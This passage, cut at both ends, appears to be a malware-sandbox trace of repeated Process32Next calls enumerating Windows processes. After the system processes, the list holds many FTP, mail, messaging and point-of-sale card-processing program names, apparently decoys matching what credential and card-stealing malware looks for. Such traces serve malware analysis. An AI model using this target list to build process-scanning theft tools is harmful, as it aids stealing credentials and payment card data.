th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.380] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.383] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.385] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0265.387] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.390] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.393] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0265.395] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0265.398] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0265.400] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.403] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0265.406] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0265.410] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.413] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.419] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.421] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0265.423] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.425] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.427] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.430] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.432] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.434] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.436] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0265.438] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0265.440] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0265.441] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0265.443] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0265.445] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0265.446] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0265.448] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0265.450] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0265.451] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0265.453] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0265.455] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0265.457] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0265.458] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0265.496] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0265.500] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0265.502] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0265.505] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0265.508] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0265.511] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0265.514] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0265.520] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0265.522] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0265.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0265.528] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0265.531] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0265.534] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0265.537] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0265.540] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0265.542] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0265.543] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0265.545] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0265.547] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0265.549] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0265.551] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0265.553] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0265.555] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0265.557] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0265.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0265.561] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0265.563] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0265.565] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0265.567] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0265.572] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0265.574] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0265.576] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0265.578] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0265.580] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0265.582] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0265.584] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0265.586] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0265.588] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0265.590] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0265.592] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0265.594] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0265.596] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0265.599] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0265.602] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0265.604] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0265.606] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0265.641] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0265.644] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0265.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 